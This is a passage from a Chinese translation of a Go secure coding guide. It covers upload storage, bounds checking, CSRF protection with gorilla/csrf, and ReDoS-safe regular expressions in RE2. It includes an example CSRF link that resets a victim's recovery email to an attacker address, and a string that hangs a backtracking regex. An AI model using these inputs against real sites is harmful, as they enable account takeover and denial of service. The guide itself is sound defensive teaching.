用户上传的文件不应该存储在应用程序的Web上下文中。相反,文件应该存储在内容服务器或数据库中。需要注意的是,所选的文件上传路径不具有执行权限。
如果承载用户上传的文件服务器基于*NIX
,请确保实现chrooted环境等安全机制,或将目标文件目录挂载为逻辑驱动器。
同样,由于Go是一种编译语言,因此不存在上传包含可在服务器端解释的恶意代码的文件的常见风险。
在动态重定向的情况下,不应该传递用户数据。如果你的应用程序需要它,则必须采取其他措施来确保应用程序的安全性。这些检查包括只接受正确验证的数据和相对路径url。
此外,在将数据传递到动态重定向时,一定要确保目录和文件路径映射到预定义的路径列表的索引,并使用这些索引。
永远不要将绝对文件路径发送给用户,始终使用相对路径。
将有关应用程序文件和资源的服务器权限设置为只读,当上传文件时,扫描该文件,查找病毒和恶意软件。
内存管理
关于内存管理,有几个重要方面需要考虑。遵循OWASP指南,我们必须采取的保护应用程序措施的第一步,是检查用户的输入/输出。这些措施需确保不允许任何恶意内容。有关此方面的更详细概述,请参阅本文档的输入验证和输出编码部分。
关于内存管理的另一个重要方面是缓冲区边界检查。在处理接受大量字节进行复制的函数时,通常在c风格的语言中,必须检查目标数组的大小,以确保写入的内容不会超过分配的空间。在Go中,String
等数据类型不以NULL
结尾,对于String,其header
包含以下信息:
type StringHeader struct {
Data uintptr
Len int
}
尽管如此,必须进行边界检查(例如在循环时)。如果我们超出了设定的界限,go会抛出Panic
。
一个简单的例子:
func main() {
strings := []string{"aaa", "bbb", "ccc", "ddd"}
// Our loop is not checking the MAP length -> BAD
for i := 0; i < 5; i++ {
if len(strings[i]) > 0 {
fmt.Println(strings[i])
}
}
}
输出:
aaa
bbb
ccc
ddd
panic: runtime error: index out of range
当我们的应用程序使用资源时,还必须进行额外的检查,以确保它们已经关闭,而不仅仅是依赖于垃圾收集器。这适用于处理连接对象、文件句柄等。在Go中,我们可以使用Defer
来执行这些操作。Defer
中的指令只在周围函数执行完成时执行。
defer func() {
// Our cleanup code here
}
有关Defer
的更多信息可以在文档的错误处理部分中找到。
还应避免使用已知的易受攻击的函数。在Go中,Unsafe
包中包含这些函数。 这些函数不应该用于生产环境,在包中也不应该使用,包括Testing
包。
另一方面,内存回收是由垃圾收集器处理的,这意味着我们不必担心它。有趣是,手动释放内存是可能的,尽管不建议这样做。
如果您真的想使用Go手动管理内存,请基于
syscall.Mma
或cgo malloc/free
实现你自己的内存分配器。 对于像Go这样的并发语言,长时间禁用GC通常是一个糟糕的解决方案。Go的GC未来只会更好。
通用编码实践
跨站请求伪造
根据OWASP的定义,"跨站点请求伪造(CSRF)是一种攻击,它迫使终端用户在当前经过身份验证的web应用程序上执行不需要的操作。"
CSRF攻击的目标不是窃取数据,而是状态更改请求。通过一些社交工程(比如通过电子邮件或聊天分享链接),攻击者可能会欺骗用户执行不需要的Web应用程序操作,比如更改帐户的恢复email。
攻击场景
假设foo.com
使用HTTP GET
请求设置帐户的恢复email:
GET https://foo.com/account/recover?email=me@somehost.com
一个简单的攻击场景可能是这样的:
受害者通过
https://foo.com
进行身份验证攻击者通过链接向受害者发送聊天消息
https://foo.com/account/recover?email=me@attacker.com
3.受害者的帐户恢复email地址被更改为
me@attacker.com
,攻击者完全控制它
问题
将HTTP方法从GET
更改为POST
(或任何其他)都不能解决这个问题,URL重写或HTTPS也不能解决这个问题。
这个攻击的原因是因为服务器不能区分合法用户在会话期间发出的请求和"恶意"的请求。
解决方案
- 理论上
如前所述,CSRF针对的是状态更改请求,对于Web应用程序,大多数情况下都是提交表单发出的POST
请求。
在此场景中,当首次请求呈现表单的页面时,服务器计算一个随机数(打算使用一次的任意数字)。然后,这个token作为字段包含在表单中(大多数时候这个字段是隐藏的,但不是强制性的)。
然后,当提交表单时,隐藏字段与其他用户输入一起发送。 服务器验证,令牌是否是请求数据的一部分,是否有效。
该随机数/token应符合以下要求:
每个用户会话唯一
大的随机值
由加密安全随机数生成器生成
注意: 虽然HTTP GET
请求不会改变状态(称为幂等),但是由于糟糕的编程实践,它们实际上可以修改资源,因此也应该成为CSRF攻击的目标。
在处理API时,PUT
和DELETE
是CSRF攻击的另外两个常见目标。
- 练习
手工完成这一切不是一个好主意,因为它很容易出错。
大多数Web应用程序框架已经提供了开箱即用的功能,建议您启用它,或者,不使用框架,单独使用它。
以下示例是用于go编程语言的 Gorilla web工具包 的一部分。你可以在GitHub上找到 gorilla/csrf。
package main
import (
"net/http"
"github.com/gorilla/csrf"
"github.com/gorilla/mux"
)
func main() {
r := mux.NewRouter()
r.HandleFunc("/signup", ShowSignupForm)
// All POST requests without a valid token will return HTTP 403 Forbidden.
r.HandleFunc("/signup/post", SubmitSignupForm)
// Add the middleware to your router by wrapping it.
http.ListenAndServe(":8000",
csrf.Protect([]byte("32-byte-long-auth-key"))(r))
// PS: Don't forget to pass csrf.Secure(false) if you're developing locally
// over plain HTTP (just don't leave it on in production).
}
func ShowSignupForm(w http.ResponseWriter, r *http.Request) {
// signup_form.tmpl just needs a {{ .csrfField }} template tag for
// csrf.TemplateField to inject the CSRF token into. Easy!
t.ExecuteTemplate(w, "signup_form.tmpl", map[string]interface{}{
csrf.TemplateTag: csrf.TemplateField(r),
})
// We could also retrieve the token directly from csrf.Token(r) and
// set it in the request header - w.Header.Set("X-CSRF-Token", token)
// This is useful if you're sending JSON to clients or a front-end JavaScript
// framework.
}
func SubmitSignupForm(w http.ResponseWriter, r *http.Request) {
// We can trust that requests making it this far have satisfied
// our CSRF protection requirements.
}
OWASP有一个详细的跨站点请求伪造(CSRF)预防备忘单,建议你阅读。
正则表达式
正则表达式是一种广泛用于搜索和验证的强大工具。在web应用程序上下文中,它们通常用于输入验证(例如电子邮件地址)。
正则表达式是一种用于描述字符串集的表示法。当特定字符串在正则表达式描述的集合中时,我们经常说正则表达式与字符串匹配。(来源)
所周知,正则表达式很难掌握。有时,看似简单的验证,可能会导致拒绝服务。
与其他编程语言不同,Go的作者对此非常重视,他选择用RE2来实现regex标准包。
为什么是RE2
RE2的设计和实现具有一个明确的目标,即能够在没有风险的情况下,处理来自不受信任用户的正则表达式。(来源)
考虑到安全性,RE2还保证了线性时间性能和优雅的失败:解析器、编译器和执行引擎可用的内存是有限的。
正则表达式拒绝服务攻击
正则表达式拒绝服务(ReDoS)是一种引发拒绝服务(DoS)的算法复杂度攻击。ReDos攻击是由正则表达式引起的,该表达式需要很长时间来进行计算,其计算时间与输入大小呈指数级相关。在计算过程中,这一异常长的时间是,由于使用的正则表达式的实现算法,例如递归回溯表达式。(来源)
你最好阅读完整的文章“深入研究Go中的正则表达式拒绝服务(ReDoS))”,因为它深入研究了这个问题,并包含了大多数流行的编程语言之间的比较。在本节中,我们将关注一个真实世界的用例。
由于某些原因,你正在寻找一个正则表达式来验证注册表单上提供的电子邮件地址。在快速搜索之后,你在RegExLib.com上找到了这个用于电子邮件验证的正则表达式:
^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$
如果你尝试将john.doe@somehost.com与此正则表达式匹配,您可能会确信它能够满足你的需求。 如果你正在使用Go开发,你会想出类似的东西:
package main
import (
"fmt"
"regexp"
)
func main() {
testString1 := "john.doe@somehost.com"
testString2 := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
regex := regexp.MustCompile("^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$")
fmt.Println(regex.MatchString(testString1))
// expected output: true
fmt.Println(regex.MatchString(testString2))
// expected output: false
}
运行结果:
$ go run src/redos.go
true
false
如果你正在使用JavaScript开发呢?
const testString1 = 'john.doe@somehost.com';
const testString2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!';
const regex = /^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;
console.log(regex.test(testString1));
// expected output: true
console.log(regex.test(testString2));
// expected output: hang/FATAL EXCEPTION
少了什么
如果您具有其他编程语言(如Perl、Python、PHP或JavaScript)的背景,则应该了解正则表达式支持的特性之间的差异。
RE2不支持只有回溯解决方案存在的构造,例如回溯引用和查找。
考虑以下问题:验证任意字符串是否是格式正确的HTML标记:a)开始和结束标记名称匹配,b)开始和结束标记之间可以有一些文本。
满足要求b)很简单.*?
,但是a)具有挑战性,因为结束标记匹配取决于匹配的开头标记。 这正是Backreferences允许我们做的事情。 检查下面的JavaScript实现:
const testString1 = '<h1>Go Secure Coding Practices Guide</h1>';
const testString2 = '<p>Go Secure Coding Practices Guide</p>';
const testString3 = '<h1>Go Secure Coding Practices Guid</p>';
const regex = /<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>/;
console.log(regex.test(testString1));
// expected output: true
console.log(regex.test(testString2));
// expected output: true
console.log(regex.test(testString3));
// expected output: false
\1
将保存([A-Z][A-Z0-9]*)
先前捕获的值。
这是你不应该期望在Go中做的事情:
package main
import (
"fmt"
"regexp"
)
func main() {
testString1 := "<h1>Go Secure Coding Practices Guide</h1>"
testString2 := "<p>Go Secure Coding Practices Guide</p>"
testString3 := "<h1>Go Secure Coding Practices Guid</p>"
regex := regexp.MustCompile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\/\1>")
fmt.Println(regex.MatchString(testString1))
fmt.Println(regex.MatchString(testString2))
fmt.Println(regex.MatchString(testString3))
}
运行上面的Go源代码示例应该会导致以下错误:
$ go run src/backreference.go
# command-line-arguments
src/backreference.go:12:64: unknown escape sequence
src/backreference.go:12:67: non-octal character in escape sequence: >
你可能会想要修复这些错误,并提出以下正则表达式:
<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>
然后,你将得到:
go run src/backreference.go
panic: regexp: Compile("<([a-z][a-z0-9]*)\b[^>]*>.*?<\\/\\1>"): error parsing regexp: invalid escape sequence: `\1`
goroutine 1 [running]:
regexp.MustCompile(0x4de780, 0x21, 0xc00000e1f0)
/usr/local/go/src/regexp/regexp.go:245 +0x171
main.main()
/go/src/backreference.go:12 +0x3a
exit status 2
在从头开始开发一些东西时,你可能会在缺少一些特性时,发现很好的解决方案。另一方面,移植现有软件,你可能会寻找标准正则表达式包的完整功能替代方案,可能会找到(例如:dlclark
/regexp2
)。请记住,你可能会失去RE2的“安全特性”,比如线性时间性能。